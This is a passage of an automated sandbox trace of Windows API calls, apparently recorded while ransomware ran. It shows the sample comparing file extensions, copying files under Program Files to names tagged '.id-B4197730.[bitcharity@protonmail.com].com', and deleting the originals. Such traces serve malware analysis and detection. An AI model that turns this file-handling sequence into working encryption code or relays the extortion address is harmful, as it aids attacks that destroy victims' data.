(lpString=".dbf") returned 4 [0138.315] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0138.315] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.316] lstrlenW (lpString=".1cd") returned 4 [0138.316] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0138.316] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.316] lstrlenW (lpString=".jpg") returned 4 [0138.316] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0138.316] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.316] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.316] lstrlenW (lpString=".doc") returned 4 [0138.316] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1 [0138.316] lstrlenW (lpString=".docx") returned 5 [0138.316] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1 [0138.316] lstrlenW (lpString=".pdf") returned 4 [0138.316] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1 [0138.316] lstrlenW (lpString=".xls") returned 4 [0138.316] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1 [0138.316] lstrlenW (lpString=".xlsx") returned 5 [0138.316] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1 [0138.316] lstrlenW (lpString=".ppt") returned 4 [0138.316] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1 [0138.316] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.316] lstrlenW (lpString=".zip") returned 4 [0138.316] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1 [0138.316] lstrlenW (lpString=".rar") returned 4 [0138.316] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1 [0138.316] lstrlenW (lpString=".bz2") returned 4 [0138.316] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1 [0138.316] lstrlenW (lpString=".7z") returned 3 [0138.316] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1 [0138.316] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.316] lstrlenW (lpString=".dbf") returned 4 [0138.317] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1 [0138.317] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.317] lstrlenW (lpString=".1cd") returned 4 [0138.317] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1 [0138.317] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32 [0138.317] lstrlenW (lpString=".jpg") returned 4 [0138.317] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1 [0138.317] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0138.317] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0138.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0138.317] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=4136) returned 1 [0138.317] CloseHandle (hObject=0x10c4) returned 1 [0138.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0138.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0138.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0138.318] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0138.318] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0138.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0138.320] GetLastError () returned 0x0 [0138.321] ReadFile (in: hFile=0x10c4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x1028, lpOverlapped=0x0) returned 1 [0138.538] WriteFile (in: hFile=0x1088, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x1030, lpOverlapped=0x0) returned 1 [0138.790] ReadFile (in: hFile=0x10c4, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0138.790] WriteFile (in: hFile=0x1088, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x100, lpOverlapped=0x0) returned 1 [0138.790] SetEndOfFile (hFile=0x1088) returned 1 [0138.790] CloseHandle (hObject=0x1088) returned 1 [0138.793] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0138.793] SetEndOfFile (hFile=0x10c4) returned 1 [0138.794] CloseHandle (hObject=0x10c4) returned 1 [0138.794] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0138.794] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0138.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.795] lstrlenW (lpString=".doc") returned 4 [0138.795] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.795] lstrlenW (lpString=".docx") returned 5 [0138.795] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0138.795] lstrlenW (lpString=".pdf") returned 4 [0138.795] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.795] lstrlenW (lpString=".xls") returned 4 [0138.795] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.795] lstrlenW (lpString=".xlsx") returned 5 [0138.795] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0138.795] lstrlenW (lpString=".ppt") returned 4 [0138.795] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.795] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.795] lstrlenW (lpString=".zip") returned 4 [0138.795] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.795] lstrlenW (lpString=".rar") returned 4 [0138.795] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.795] lstrlenW (lpString=".bz2") returned 4 [0138.795] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.795] lstrlenW (lpString=".7z") returned 3 [0138.796] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.796] lstrlenW (lpString=".dbf") returned 4 [0138.796] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.796] lstrlenW (lpString=".1cd") returned 4 [0138.796] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.796] lstrlenW (lpString=".jpg") returned 4 [0138.796] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.796] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.796] lstrlenW (lpString=".doc") returned 4 [0138.796] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0138.796] lstrlenW (lpString=".docx") returned 5 [0138.796] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0138.796] lstrlenW (lpString=".pdf") returned 4 [0138.796] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0138.796] lstrlenW (lpString=".xls") returned 4 [0138.796] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0138.796] lstrlenW (lpString=".xlsx") returned 5 [0138.796] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0138.796] lstrlenW (lpString=".ppt") returned 4 [0138.797] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0138.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.797] lstrlenW (lpString=".zip") returned 4 [0138.797] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0138.797] lstrlenW (lpString=".rar") returned 4 [0138.797] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0138.797] lstrlenW (lpString=".bz2") returned 4 [0138.797] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0138.797] lstrlenW (lpString=".7z") returned 3 [0138.797] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0138.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.797] lstrlenW (lpString=".dbf") returned 4 [0138.797] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0138.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.797] lstrlenW (lpString=".1cd") returned 4 [0138.797] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0138.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0138.797] lstrlenW (lpString=".jpg") returned 4 [0138.797] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0138.797] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0138.797] lstrlenW (lpString="boxed-correct.avi") returned 17 [0138.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1090 [0139.173] GetFileSizeEx (in: hFile=0x1090, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=111320) returned 1 [0139.173] CloseHandle (hObject=0x1090) returned 1 [0139.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0139.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.173] lstrlenW (lpString=".doc") returned 4 [0139.173] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.173] lstrlenW (lpString=".docx") returned 5 [0139.173] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0139.173] lstrlenW (lpString=".pdf") returned 4 [0139.173] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.173] lstrlenW (lpString=".xls") returned 4 [0139.173] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.174] lstrlenW (lpString=".xlsx") returned 5 [0139.174] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0139.174] lstrlenW (lpString=".ppt") returned 4 [0139.174] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.174] lstrlenW (lpString=".zip") returned 4 [0139.174] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.174] lstrlenW (lpString=".rar") returned 4 [0139.174] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.174] lstrlenW (lpString=".bz2") returned 4 [0139.174] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.174] lstrlenW (lpString=".7z") returned 3 [0139.174] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.174] lstrlenW (lpString=".dbf") returned 4 [0139.174] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.174] lstrlenW (lpString=".1cd") returned 4 [0139.174] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.174] lstrlenW (lpString=".jpg") returned 4 [0139.174] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.174] lstrlenW (lpString=".doc") returned 4 [0139.174] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0139.174] lstrlenW (lpString=".docx") returned 5 [0139.175] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0139.175] lstrlenW (lpString=".pdf") returned 4 [0139.175] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0139.175] lstrlenW (lpString=".xls") returned 4 [0139.175] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0139.175] lstrlenW (lpString=".xlsx") returned 5 [0139.175] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0139.175] lstrlenW (lpString=".ppt") returned 4 [0139.175] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0139.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.175] lstrlenW (lpString=".zip") returned 4 [0139.175] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0139.175] lstrlenW (lpString=".rar") returned 4 [0139.175] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0139.175] lstrlenW (lpString=".bz2") returned 4 [0139.175] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0139.175] lstrlenW (lpString=".7z") returned 3 [0139.175] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0139.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.175] lstrlenW (lpString=".dbf") returned 4 [0139.175] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0139.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.175] lstrlenW (lpString=".1cd") returned 4 [0139.175] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0139.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0139.175] lstrlenW (lpString=".jpg") returned 4 [0139.175] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0139.176] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.176] lstrlenW (lpString="auxbase.xml") returned 11 [0139.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0139.320] GetFileSizeEx (in: hFile=0x10b4, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=1434) returned 1 [0139.320] CloseHandle (hObject=0x10b4) returned 1 [0139.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0139.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.320] lstrlenW (lpString=".doc") returned 4 [0139.320] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.320] lstrlenW (lpString=".docx") returned 5 [0139.320] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0139.320] lstrlenW (lpString=".pdf") returned 4 [0139.320] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.320] lstrlenW (lpString=".xls") returned 4 [0139.320] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.321] lstrlenW (lpString=".xlsx") returned 5 [0139.321] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0139.321] lstrlenW (lpString=".ppt") returned 4 [0139.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.321] lstrlenW (lpString=".zip") returned 4 [0139.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.321] lstrlenW (lpString=".rar") returned 4 [0139.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.321] lstrlenW (lpString=".bz2") returned 4 [0139.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.321] lstrlenW (lpString=".7z") returned 3 [0139.321] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.321] lstrlenW (lpString=".dbf") returned 4 [0139.321] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.321] lstrlenW (lpString=".1cd") returned 4 [0139.321] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.321] lstrlenW (lpString=".jpg") returned 4 [0139.321] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.321] lstrlenW (lpString=".doc") returned 4 [0139.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.321] lstrlenW (lpString=".docx") returned 5 [0139.322] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0139.322] lstrlenW (lpString=".pdf") returned 4 [0139.322] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.322] lstrlenW (lpString=".xls") returned 4 [0139.322] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.322] lstrlenW (lpString=".xlsx") returned 5 [0139.322] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0139.322] lstrlenW (lpString=".ppt") returned 4 [0139.322] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.322] lstrlenW (lpString=".zip") returned 4 [0139.322] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.322] lstrlenW (lpString=".rar") returned 4 [0139.322] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.322] lstrlenW (lpString=".bz2") returned 4 [0139.322] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.322] lstrlenW (lpString=".7z") returned 3 [0139.322] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.322] lstrlenW (lpString=".dbf") returned 4 [0139.322] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.322] lstrlenW (lpString=".1cd") returned 4 [0139.322] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0139.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0139.322] lstrlenW (lpString=".jpg") returned 4 [0139.322] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0139.323] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0139.323] lstrlenW (lpString="keypadbase.xml") returned 14 [0139.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1014 [0139.348] GetFileSizeEx (in: hFile=0x1014, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=903) returned 1 [0139.348] CloseHandle (hObject=0x1014) returned 1 [0139.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0139.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0139.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.349] lstrlenW (lpString=".doc") returned 4 [0139.349] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.349] lstrlenW (lpString=".docx") returned 5 [0139.349] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0139.349] lstrlenW (lpString=".pdf") returned 4 [0139.349] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0139.349] lstrlenW (lpString=".xls") returned 4 [0139.349] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0139.349] lstrlenW (lpString=".xlsx") returned 5 [0139.349] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0139.349] lstrlenW (lpString=".ppt") returned 4 [0139.349] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0139.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0139.349] lstrlenW (lpString=".zip") returned 4 [0139.349] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0139.349] lstrlenW (lpString=".rar") returned 4 [0139.349] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0139.349] lstrlenW (lpString=".bz2") returned 4 [0139.349] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0139.349] lstrlenW (lpString=".7z") returned 3 [0139.349] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0139.349] lstrlenW (lpString="C:\\Program 